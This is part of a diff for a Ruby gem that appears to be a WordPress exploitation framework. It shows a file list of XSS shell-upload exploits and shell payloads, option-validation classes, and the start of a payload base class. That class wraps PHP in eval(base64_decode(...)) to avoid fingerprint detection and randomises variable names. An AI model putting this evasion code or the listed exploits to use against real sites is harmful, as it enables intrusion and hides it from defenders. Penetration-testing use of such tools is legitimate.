- data/lib/wpxf/modules/exploit/xss/reflected/simple_slideshow_manager_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/slideshow_gallery_reflected_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/smart_marketing_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/social_buttons_pack_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/social_login_bws_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/social_pug_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/sp_project_document_manager_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/spamfree_reflected_xss_shell_upload.rb +44 -0
- data/lib/wpxf/modules/exploit/xss/reflected/spiffy_calendar_reflected_xss_shell_upload.rb +49 -0
- data/lib/wpxf/modules/exploit/xss/reflected/splashing_images_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/subscriber_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/tidio_gallery_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/timesheet_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/tracking_code_manager_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/tribulant_newsletter_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/tribulant_slideshow_gallery_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/trust_form_reflected_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/twitter_plugin_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/ultimate_csv_importer_reflected_xss_shell_upload.rb +83 -0
- data/lib/wpxf/modules/exploit/xss/reflected/ultimate_form_builder_lite_reflected_xss_shell_upload.rb +30 -0
- data/lib/wpxf/modules/exploit/xss/reflected/updater_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/user_access_manager_reflected_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/user_login_history_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/user_role_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/visitors_online_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/w3_total_cache_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wang_guard_reflected_xss_shell_upload.rb +33 -0
- data/lib/wpxf/modules/exploit/xss/reflected/whizz_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/woo_email_control_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wordpress_firewall_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_advanced_importer_reflected_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_filebase_download_manager_reflected_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_live_chat_support_reflected_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_mailster_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_members_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_retina_2x_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_statistics_12.0.9_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_statistics_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_v4.4_xss_shell_upload.rb +54 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_whois_domain_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wpsolr_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/yoast_seo_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/zurl_preview_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb +172 -0
- data/lib/wpxf/modules/exploit/xss/stored/all_in_one_seo_pack_xss_shell_upload.rb +208 -0
- data/lib/wpxf/modules/exploit/xss/stored/alo_easymail_csrf_xss_shell_upload.rb +48 -0
- data/lib/wpxf/modules/exploit/xss/stored/appointment_schedule_booking_system_stored_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/stored/arabic_font_csrf_stored_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/stored/caldera_forms_stored_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/stored/content_audit_csrf_stored_xss_shell_upload.rb +83 -0
- data/lib/wpxf/modules/exploit/xss/stored/dw_question_answer_stored_xss_shell_upload.rb +91 -0
- data/lib/wpxf/modules/exploit/xss/stored/dwnldr_xss_shell_upload.rb +58 -0
- data/lib/wpxf/modules/exploit/xss/stored/embed_comment_images_stored_xss_shell_upload.rb +57 -0
- data/lib/wpxf/modules/exploit/xss/stored/flickr_rss_csrf_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/stored/four04_to_three01_stored_xss_shell_upload.rb +50 -0
- data/lib/wpxf/modules/exploit/xss/stored/gwolle_guestbook_stored_xss_shell_upload.rb +47 -0
- data/lib/wpxf/modules/exploit/xss/stored/imageinject_csrf_xss_shell_upload.rb +53 -0
- data/lib/wpxf/modules/exploit/xss/stored/instagram_feed_csrf_stored_xss_shell_upload.rb +51 -0
- data/lib/wpxf/modules/exploit/xss/stored/ithemes_security_stored_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/stored/ithemes_security_v6.9.0_stored_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/stored/mdc_private_message_xss_shell_upload.rb +118 -0
- data/lib/wpxf/modules/exploit/xss/stored/newsletter_by_supsystic_csrf_stored_xss_shell_upload.rb +43 -0
- data/lib/wpxf/modules/exploit/xss/stored/participants_database_v1.7.5.9_stored_xss_shell_upload.rb +80 -0
- data/lib/wpxf/modules/exploit/xss/stored/safe_editor_xss_shell_upload.rb +60 -0
- data/lib/wpxf/modules/exploit/xss/stored/smart_google_code_inserter_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/stored/social_media_widget_csrf_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/stored/srbtranslatin_csrf_xss_shell_upload.rb +42 -0
- data/lib/wpxf/modules/exploit/xss/stored/ultimate_addons_for_vc_authenticated_stored_xss_shell_upload.rb +48 -0
- data/lib/wpxf/modules/exploit/xss/stored/ultimate_addons_for_vc_reflected_stored_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/stored/universal_analytics_authenticated_xss_shell_upload.rb +90 -0
- data/lib/wpxf/modules/exploit/xss/stored/user_login_log_authenticated_stored_xss_shell_upload.rb +45 -0
- data/lib/wpxf/modules/exploit/xss/stored/woo_custom_checkout_field_xss_shell_upload.rb +44 -0
- data/lib/wpxf/modules/exploit/xss/stored/wp_google_maps_stored_xss_shell_upload.rb +55 -0
- data/lib/wpxf/modules/exploit/xss/stored/wp_live_chat_support_stored_xss_shell_upload.rb +99 -0
- data/lib/wpxf/modules/exploit/xss/stored/wp_piwik_stored_xss_shell_upload.rb +36 -0
- data/lib/wpxf/modules/exploit/xss/stored/wp_v4.3_shortcode_xss_shell_upload.rb +55 -0
- data/lib/wpxf/net.rb +16 -0
- data/lib/wpxf/net/cookie_jar.rb +37 -0
- data/lib/wpxf/net/http_client.rb +206 -0
- data/lib/wpxf/net/http_options.rb +98 -0
- data/lib/wpxf/net/http_response.rb +44 -0
- data/lib/wpxf/net/http_server.rb +186 -0
- data/lib/wpxf/net/typhoeus_helper.rb +46 -0
- data/lib/wpxf/net/user_agent.rb +193 -0
- data/lib/wpxf/payloads/bind_php.rb +95 -0
- data/lib/wpxf/payloads/custom.rb +42 -0
- data/lib/wpxf/payloads/download_exec.rb +43 -0
- data/lib/wpxf/payloads/exec.rb +43 -0
- data/lib/wpxf/payloads/meterpreter_bind_tcp.rb +64 -0
- data/lib/wpxf/payloads/meterpreter_reverse_tcp.rb +50 -0
- data/lib/wpxf/payloads/reverse_tcp.rb +152 -0
- data/lib/wpxf/payloads/socket_helper.rb +50 -0
- data/lib/wpxf/utility.rb +12 -0
- data/lib/wpxf/utility/body_builder.rb +151 -0
- data/lib/wpxf/utility/reference_inflater.rb +34 -0
- data/lib/wpxf/utility/text.rb +81 -0
- data/lib/wpxf/versioning.rb +11 -0
- data/lib/wpxf/versioning/browser_versions.rb +56 -0
- data/lib/wpxf/versioning/os_versions.rb +18 -0
- data/lib/wpxf/wordpress.rb +24 -0
- data/lib/wpxf/wordpress/comments.rb +89 -0
- data/lib/wpxf/wordpress/file_download.rb +168 -0
- data/lib/wpxf/wordpress/fingerprint.rb +238 -0
- data/lib/wpxf/wordpress/hash_dump.rb +264 -0
- data/lib/wpxf/wordpress/login.rb +60 -0
- data/lib/wpxf/wordpress/options.rb +27 -0
- data/lib/wpxf/wordpress/plugin.rb +102 -0
- data/lib/wpxf/wordpress/posts.rb +26 -0
- data/lib/wpxf/wordpress/reflected_xss.rb +40 -0
- data/lib/wpxf/wordpress/shell_upload.rb +172 -0
- data/lib/wpxf/wordpress/staged_reflected_xss.rb +82 -0
- data/lib/wpxf/wordpress/stored_xss.rb +73 -0
- data/lib/wpxf/wordpress/urls.rb +131 -0
- data/lib/wpxf/wordpress/user.rb +35 -0
- data/lib/wpxf/wordpress/xss.rb +143 -0
- data/wpxf.gemspec +33 -0
- metadata +708 -0
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
module Wpxf
|
|
5
|
+
# A boolean option.
|
|
6
|
+
class BooleanOption < Option
|
|
7
|
+
# Check if the specified value is valid in the context of this option.
|
|
8
|
+
# @param value the value to validate.
|
|
9
|
+
# @return [Boolean] true if valid.
|
|
10
|
+
def valid?(value)
|
|
11
|
+
return false if empty_required_value?(value)
|
|
12
|
+
return true if !required? && empty?(value)
|
|
13
|
+
|
|
14
|
+
pattern = /^(y|yes|n|no|t|f|0|1|true|false)$/i
|
|
15
|
+
value?(value) && !value.to_s.match(pattern).nil?
|
|
16
|
+
end
|
|
17
|
+
|
|
18
|
+
# @param value the value to normalize.
|
|
19
|
+
# @return [Boolean] a normalized value to conform with the type that.
|
|
20
|
+
# the option is conveying.
|
|
21
|
+
def normalize(value)
|
|
22
|
+
valid?(value) && !value.to_s.match(/^(y|yes|t|1|true)$/i).nil?
|
|
23
|
+
end
|
|
24
|
+
|
|
25
|
+
# @param value the value to check.
|
|
26
|
+
# @return [Boolean] true if the value is a true boolean value.
|
|
27
|
+
def true?(value)
|
|
28
|
+
normalize(value)
|
|
29
|
+
end
|
|
30
|
+
|
|
31
|
+
# @param value the value to check.
|
|
32
|
+
# @return [Boolean] true if the value is a false boolean value.
|
|
33
|
+
def false?(value)
|
|
34
|
+
!true?(value)
|
|
35
|
+
end
|
|
36
|
+
end
|
|
37
|
+
end
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
module Wpxf
|
|
5
|
+
# An enum option.
|
|
6
|
+
class EnumOption < Option
|
|
7
|
+
# Check if the specified value is valid in the context of this option.
|
|
8
|
+
# @param value the value to validate.
|
|
9
|
+
# @return [Boolean] true if valid.
|
|
10
|
+
def valid?(value)
|
|
11
|
+
return false if value && !enums.include?(value)
|
|
12
|
+
super
|
|
13
|
+
end
|
|
14
|
+
end
|
|
15
|
+
end
|
|
@@ -0,0 +1,74 @@
|
|
|
1
|
+
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
module Wpxf
|
|
5
|
+
# An integer option.
|
|
6
|
+
class IntegerOption < Option
|
|
7
|
+
# Initializes a named option.
|
|
8
|
+
# @param attrs an object containing the following values
|
|
9
|
+
# * *name*: the name of the option (required)
|
|
10
|
+
# * *desc*: the description of the option (required)
|
|
11
|
+
# * *required*: whether or not the option is required
|
|
12
|
+
# * *default*: the default value of the option
|
|
13
|
+
# * *advanced*: whether or not this is an advanced option
|
|
14
|
+
# * *evasion*: whether or not this is an evasion option
|
|
15
|
+
# * *enums*: the list of potential valid values
|
|
16
|
+
# * *regex*: regex to validate the option value
|
|
17
|
+
# * *min*: the lowest valid value
|
|
18
|
+
# * *max*: the highest valid value
|
|
19
|
+
def initialize(attrs)
|
|
20
|
+
super
|
|
21
|
+
|
|
22
|
+
self.min = attrs[:min].to_i unless attrs[:min].nil?
|
|
23
|
+
self.max = attrs[:max].to_i unless attrs[:max].nil?
|
|
24
|
+
end
|
|
25
|
+
|
|
26
|
+
# @param value the value to normalize.
|
|
27
|
+
# @return [Integer] a normalized value to conform with the type that
|
|
28
|
+
# the option is conveying.
|
|
29
|
+
def normalize(value)
|
|
30
|
+
if value.to_s.match?(/^0x[a-fA-F\d]+$/)
|
|
31
|
+
value.to_i(16)
|
|
32
|
+
else
|
|
33
|
+
value.to_i
|
|
34
|
+
end
|
|
35
|
+
end
|
|
36
|
+
|
|
37
|
+
# @param value the value to validate.
|
|
38
|
+
# @return [Boolean] true if the value is a valid integer.
|
|
39
|
+
def valid_integer?(value)
|
|
40
|
+
value && !value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/).nil?
|
|
41
|
+
end
|
|
42
|
+
|
|
43
|
+
# @param value the value to validate.
|
|
44
|
+
# @return [Boolean] true if the value meets the minimum valid value
|
|
45
|
+
# requirement.
|
|
46
|
+
def meets_min_requirement?(value)
|
|
47
|
+
min.nil? || (normalize(value) >= min)
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# @param value the value to validate.
|
|
51
|
+
# @return [Boolean] true if the value meets the maximum valid value
|
|
52
|
+
# requirement.
|
|
53
|
+
def meets_max_requirement?(value)
|
|
54
|
+
max.nil? || (normalize(value) <= max)
|
|
55
|
+
end
|
|
56
|
+
|
|
57
|
+
# Check if the specified value is valid in the context of this option.
|
|
58
|
+
# @param value the value to validate.
|
|
59
|
+
# @return [Boolean] true if valid.
|
|
60
|
+
def valid?(value)
|
|
61
|
+
return true if value.nil? && !required?
|
|
62
|
+
return false unless valid_integer?(value)
|
|
63
|
+
return false unless meets_min_requirement?(value)
|
|
64
|
+
return false unless meets_max_requirement?(value)
|
|
65
|
+
super
|
|
66
|
+
end
|
|
67
|
+
|
|
68
|
+
# @return [Integer, nil] the lowest valid value.
|
|
69
|
+
attr_accessor :min
|
|
70
|
+
|
|
71
|
+
# @return [Integer, nil] the highest valid value.
|
|
72
|
+
attr_accessor :max
|
|
73
|
+
end
|
|
74
|
+
end
|
|
@@ -0,0 +1,121 @@
|
|
|
1
|
+
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
module Wpxf
|
|
5
|
+
# The base class for all module options.
|
|
6
|
+
class Option
|
|
7
|
+
# Initializes a named option.
|
|
8
|
+
# @param attrs an object containing the following values
|
|
9
|
+
# * *name*: the name of the option (required)
|
|
10
|
+
# * *desc*: the description of the option (required)
|
|
11
|
+
# * *required*: whether or not the option is required
|
|
12
|
+
# * *default*: the default value of the option
|
|
13
|
+
# * *advanced*: whether or not this is an advanced option
|
|
14
|
+
# * *evasion*: whether or not this is an evasion option
|
|
15
|
+
# * *enums*: the list of potential valid values
|
|
16
|
+
# * *regex*: regex to validate the option value
|
|
17
|
+
def initialize(attrs)
|
|
18
|
+
if attrs[:name].nil? && attrs[:desc].nil?
|
|
19
|
+
raise 'A value must be specified for :name and :desc'
|
|
20
|
+
end
|
|
21
|
+
|
|
22
|
+
self.name = attrs[:name]
|
|
23
|
+
self.desc = attrs[:desc]
|
|
24
|
+
update_optional_attributes(attrs)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Update the optional attributes of the option.
|
|
28
|
+
# @param attrs [Hash] the new values.
|
|
29
|
+
def update_optional_attributes(attrs)
|
|
30
|
+
self.required = attrs[:required] || false
|
|
31
|
+
self.default = attrs[:default]
|
|
32
|
+
self.advanced = attrs[:advanced] || false
|
|
33
|
+
self.evasion = attrs[:evasion] || false
|
|
34
|
+
self.enums = attrs[:enums]
|
|
35
|
+
self.regex = attrs[:regex]
|
|
36
|
+
end
|
|
37
|
+
|
|
38
|
+
# @return [Boolean] true if this is an advanced option.
|
|
39
|
+
def advanced?
|
|
40
|
+
advanced
|
|
41
|
+
end
|
|
42
|
+
|
|
43
|
+
# @return [Boolean] true if this is an evasion option.
|
|
44
|
+
def evasion?
|
|
45
|
+
evasion
|
|
46
|
+
end
|
|
47
|
+
|
|
48
|
+
# @return [Boolean] true if this is a required option.
|
|
49
|
+
def required?
|
|
50
|
+
required
|
|
51
|
+
end
|
|
52
|
+
|
|
53
|
+
# Checks if the specified value is valid in the context of this option.
|
|
54
|
+
# @param value the value to validate.
|
|
55
|
+
# @return [Boolean] true if valid.
|
|
56
|
+
def valid?(value)
|
|
57
|
+
return false if empty_required_value?(value)
|
|
58
|
+
return true if !required? && empty?(value)
|
|
59
|
+
return value.to_s.match?(regex) if regex
|
|
60
|
+
|
|
61
|
+
true
|
|
62
|
+
end
|
|
63
|
+
|
|
64
|
+
# @param value the value to check.
|
|
65
|
+
# @return [Boolean] true if the value is nil or empty.
|
|
66
|
+
def empty?(value)
|
|
67
|
+
value.nil? || value.to_s.empty?
|
|
68
|
+
end
|
|
69
|
+
|
|
70
|
+
# @param value the value to check.
|
|
71
|
+
# @return [Boolean] true if the value is not nil or empty.
|
|
72
|
+
def value?(value)
|
|
73
|
+
!empty?(value)
|
|
74
|
+
end
|
|
75
|
+
|
|
76
|
+
# @param value the value to check against.
|
|
77
|
+
# @return [Boolean] true if the value supplied is nil or empty and
|
|
78
|
+
# it's required to be a valid value.
|
|
79
|
+
def empty_required_value?(value)
|
|
80
|
+
required? && empty?(value)
|
|
81
|
+
end
|
|
82
|
+
|
|
83
|
+
# @param value the value to normalize.
|
|
84
|
+
# @return a normalized value to conform with the type that the option
|
|
85
|
+
# is conveying.
|
|
86
|
+
def normalize(value)
|
|
87
|
+
value
|
|
88
|
+
end
|
|
89
|
+
|
|
90
|
+
# @param value the value to get the display value of.
|
|
91
|
+
# @return [String] a string representing a user-friendly display of
|
|
92
|
+
# the chosen value.
|
|
93
|
+
def display_value(value)
|
|
94
|
+
value.to_s
|
|
95
|
+
end
|
|
96
|
+
|
|
97
|
+
# @return [String] the name of the option.
|
|
98
|
+
attr_accessor :name
|
|
99
|
+
|
|
100
|
+
# @return [Boolean] whether or not the option is required.
|
|
101
|
+
attr_accessor :required
|
|
102
|
+
|
|
103
|
+
# @return [String] the description of the option.
|
|
104
|
+
attr_accessor :desc
|
|
105
|
+
|
|
106
|
+
# @return [Object, nil] the default value of the option.
|
|
107
|
+
attr_accessor :default
|
|
108
|
+
|
|
109
|
+
# @return [Boolean] whether or not this is an advanced option.
|
|
110
|
+
attr_accessor :advanced
|
|
111
|
+
|
|
112
|
+
# @return [Boolean] whether or not this is an evasion option.
|
|
113
|
+
attr_accessor :evasion
|
|
114
|
+
|
|
115
|
+
# @return [Array, nil] the list of potential valid values.
|
|
116
|
+
attr_accessor :enums
|
|
117
|
+
|
|
118
|
+
# @return [String, nil] an optional regex to validate the option value.
|
|
119
|
+
attr_accessor :regex
|
|
120
|
+
end
|
|
121
|
+
end
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
module Wpxf
|
|
5
|
+
# A file system path option.
|
|
6
|
+
class PathOption < Option
|
|
7
|
+
# Check if the specified value is valid in the context of this option.
|
|
8
|
+
# @param value the value to validate.
|
|
9
|
+
# @return [Boolean] true if valid.
|
|
10
|
+
def valid?(value)
|
|
11
|
+
return super if empty?(value)
|
|
12
|
+
File.exist?(value)
|
|
13
|
+
end
|
|
14
|
+
end
|
|
15
|
+
end
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
module Wpxf
|
|
5
|
+
# A network port option.
|
|
6
|
+
class PortOption < Option
|
|
7
|
+
# @param value the value to normalize.
|
|
8
|
+
# @return [Integer] a normalized value to conform with the type that
|
|
9
|
+
# the option is conveying.
|
|
10
|
+
def normalize(value)
|
|
11
|
+
value.to_i
|
|
12
|
+
end
|
|
13
|
+
|
|
14
|
+
# Check if the specified value is valid in the context of this option.
|
|
15
|
+
# @param value the value to validate.
|
|
16
|
+
# @return [Boolean] true if valid.
|
|
17
|
+
def valid?(value)
|
|
18
|
+
if value.to_s.match(/^\d+$/).nil? || (value.to_i.negative? || value.to_i > 65_535)
|
|
19
|
+
return false
|
|
20
|
+
end
|
|
21
|
+
|
|
22
|
+
super
|
|
23
|
+
end
|
|
24
|
+
end
|
|
25
|
+
end
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module Wpxf
|
|
4
|
+
# A string option.
|
|
5
|
+
class StringOption < Option
|
|
6
|
+
# @param value the value to normalize. If a string starting with
|
|
7
|
+
# "file:" is specified, the path following it will be used to populate
|
|
8
|
+
# the value from the contents of the file.
|
|
9
|
+
# @return [String] a normalized value to conform with the type that
|
|
10
|
+
# the option is conveying.
|
|
11
|
+
def normalize(value)
|
|
12
|
+
match = value&.match(/^file:(.*)/)
|
|
13
|
+
if match
|
|
14
|
+
path = match[1]
|
|
15
|
+
begin
|
|
16
|
+
value = File.read(path)
|
|
17
|
+
rescue ::Errno::ENOENT, ::Errno::EISDIR
|
|
18
|
+
value = nil
|
|
19
|
+
end
|
|
20
|
+
end
|
|
21
|
+
|
|
22
|
+
value
|
|
23
|
+
end
|
|
24
|
+
|
|
25
|
+
# Check if the specified value is valid in the context of this option.
|
|
26
|
+
# @param value the value to validate.
|
|
27
|
+
# @return [Boolean] true if valid.
|
|
28
|
+
def valid?(value)
|
|
29
|
+
value = normalize(value)
|
|
30
|
+
super(value)
|
|
31
|
+
end
|
|
32
|
+
end
|
|
33
|
+
end
|
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module Wpxf
|
|
4
|
+
# Provides methods for emitting events that should output information
|
|
5
|
+
# to the user interface of the calling application.
|
|
6
|
+
module OutputEmitters
|
|
7
|
+
# Emit a successful operation event.
|
|
8
|
+
# @param message [String] the message to output.
|
|
9
|
+
# @param verbose [Boolean] the verbose level flag.
|
|
10
|
+
def emit_success(message, verbose = false)
|
|
11
|
+
event_emitter.emit(
|
|
12
|
+
event: :output,
|
|
13
|
+
verbose: verbose,
|
|
14
|
+
type: :success,
|
|
15
|
+
msg: message
|
|
16
|
+
)
|
|
17
|
+
end
|
|
18
|
+
|
|
19
|
+
# Emit a general info event.
|
|
20
|
+
# @param message [String] the message to output.
|
|
21
|
+
# @param verbose [Boolean] the verbose level flag.
|
|
22
|
+
def emit_info(message, verbose = false)
|
|
23
|
+
event_emitter.emit(
|
|
24
|
+
event: :output,
|
|
25
|
+
verbose: verbose,
|
|
26
|
+
type: :info,
|
|
27
|
+
msg: message
|
|
28
|
+
)
|
|
29
|
+
end
|
|
30
|
+
|
|
31
|
+
# Emit a warning event.
|
|
32
|
+
# @param message [String] the message to output.
|
|
33
|
+
# @param verbose [Boolean] the verbose level flag.
|
|
34
|
+
def emit_warning(message, verbose = false)
|
|
35
|
+
event_emitter.emit(
|
|
36
|
+
event: :output,
|
|
37
|
+
verbose: verbose,
|
|
38
|
+
type: :warning,
|
|
39
|
+
msg: message
|
|
40
|
+
)
|
|
41
|
+
end
|
|
42
|
+
|
|
43
|
+
# Emit an error event.
|
|
44
|
+
# @param message [String] the message to output.
|
|
45
|
+
# @param verbose [Boolean] the verbose level flag.
|
|
46
|
+
def emit_error(message, verbose = false)
|
|
47
|
+
event_emitter.emit(
|
|
48
|
+
event: :output,
|
|
49
|
+
verbose: verbose,
|
|
50
|
+
type: :error,
|
|
51
|
+
msg: message
|
|
52
|
+
)
|
|
53
|
+
end
|
|
54
|
+
|
|
55
|
+
# Emit an event containing tabular data.
|
|
56
|
+
# @param rows [Array] an array of hashes containing the row data.
|
|
57
|
+
# @param verbose [Boolean] the verbose level flag.
|
|
58
|
+
def emit_table(rows, verbose = false)
|
|
59
|
+
event_emitter.emit(
|
|
60
|
+
event: :output,
|
|
61
|
+
verbose: verbose,
|
|
62
|
+
type: :table,
|
|
63
|
+
rows: rows
|
|
64
|
+
)
|
|
65
|
+
end
|
|
66
|
+
end
|
|
67
|
+
end
|
|
@@ -0,0 +1,135 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require 'base64'
|
|
4
|
+
|
|
5
|
+
module Wpxf
|
|
6
|
+
# The base class for all payloads.
|
|
7
|
+
class Payload
|
|
8
|
+
include Wpxf::Options
|
|
9
|
+
|
|
10
|
+
def initialize
|
|
11
|
+
super
|
|
12
|
+
|
|
13
|
+
register_options([
|
|
14
|
+
BooleanOption.new(
|
|
15
|
+
name: 'encode_payload',
|
|
16
|
+
desc: 'Encode the payload to avoid fingerprint detection',
|
|
17
|
+
required: true,
|
|
18
|
+
default: true
|
|
19
|
+
)
|
|
20
|
+
])
|
|
21
|
+
|
|
22
|
+
self.queued_commands = []
|
|
23
|
+
end
|
|
24
|
+
|
|
25
|
+
# @return an encoded version of the payload.
|
|
26
|
+
def encoded
|
|
27
|
+
compiled = _raw_payload_with_random_var_names
|
|
28
|
+
if normalized_option_value('encode_payload')
|
|
29
|
+
"<?php eval(base64_decode('#{Base64.strict_encode64(compiled)}')); ?>"
|
|
30
|
+
else
|
|
31
|
+
"<?php #{compiled} ?>"
|
|
32
|
+
end
|
|
33
|
+
end
|
|
34
|
+
|
|
35
|
+
# Helper method to escape single quotes in a string.
|
|
36
|
+
# @param val [String] the string with quotes to escape.
|
|
37
|
+
# @return [String] the string with quotes escaped.
|
|
38
|
+
def escape_single_quotes(val)
|
|
39
|
+
val.gsub(/'/) { "\\'" }
|
|
40
|
+
end
|
|
41
|
+
|
|
42
|
+
# Generate a random variable name.
|
|
43
|
+
# @return [String] a random name beetween 5 and 20 alpha characters.
|
|
44
|
+
def random_var_name
|
|
45
|
+
Utility::Text.rand_alpha(rand(5..20))
|
|
46
|
+
end
|
|
47
|
+
|
|
48
|
+
# Generate a hash of variable names.
|
|
49
|
+
# @param keys [Array] an array of keys.
|
|
50
|
+
# @return [Hash] a hash containing a unique name for each key.
|
|
51
|
+
def generate_vars(keys)
|
|
52
|
+
vars = {}
|
|
53
|
+
keys.each do |key|
|
|
54
|
+
loop do
|
|
55
|
+
var_name = random_var_name
|
|
56
|
+
unless vars.value?(var_name)
|
|
57
|
+
vars[key] = random_var_name
|
|
58
|
+
break
|
|
59
|
+
end
|
|
60
|
+
end
|
|
61
|
+
end
|
|
62
|
+
vars
|
|
63
|
+
end
|
|
64
|
+
|
|
65
|
+
# Do any pre-exploit setup required by the payload.
|
|
66
|
+
# @param mod [Module] the module using the payload.
|
|
67
|
+
# @return [Boolean] true if successful.
|
|
68
|
+
def prepare(mod)
|
|
69
|
+
true if mod
|
|
70
|
+
end
|
|
71
|
+
|
|
72
|
+
# Run payload specific post-exploit procedures.
|
|
73
|
+
# @param mod [Module] the module using the payload.
|
|
74
|
+
# @return [Boolean] true if successful.
|
|
75
|
+
def post_exploit(mod)
|
|
76
|
+
true if mod
|
|
77
|
+
end
|
|
78
|
+
|
|
79
|
+
# Cleanup any allocated resource to the payload.
|
|
80
|
+
def cleanup
|
|
81
|
+
nil
|
|
82
|
+
end
|
|
83
|
+
|
|
84
|
+
# Run checks to raise warnings to the user of any issues or noteworthy
|
|
85
|
+
# points in regards to the payload being used with the current module.
|
|
86
|
+
# @param mod [Module] the module using the payload.
|
|
87
|
+
def check(mod)
|
|
88
|
+
nil
|
|
89
|
+
end
|
|
90
|
+
|
|
91
|
+
# @return [Hash] a hash of constants that should be injected at the
|
|
92
|
+
# beginning of the payload.
|
|
93
|
+
def constants
|
|
94
|
+
{}
|
|
95
|
+
end
|
|
96
|
+
|
|
97
|
+
# @return [Array] an array of variable names that should be obfuscated in
|
|
98
|
+
# the payload that is generated.
|
|
99
|
+
def obfuscated_variables
|
|
100
|
+
['wpxf_disabled', 'wpxf_output', 'wpxf_exec', 'wpxf_cmd', 'wpxf_handle', 'wpxf_pipes', 'wpxf_fp']
|
|
101
|
+
end
|
|
102
|
+
|
|
103
|
+
# @return [String] the PHP preamble that should be included at the
|
|
104
|
+
# start of all payloads.
|
|
105
|
+
def php_preamble
|
|
106
|
+
preamble = DataFile.new('php', 'preamble.php').php_content
|
|
107
|
+
constants.each do |k, v|
|
|
108
|
+
preamble += " $#{k} = " + (v.is_a?(String) ? "'#{escape_single_quotes(v)}'" : v.to_s) + ";\n"
|
|
109
|
+
end
|
|
110
|
+
preamble
|
|
111
|
+
end
|
|
112
|
+
|
|
113
|
+
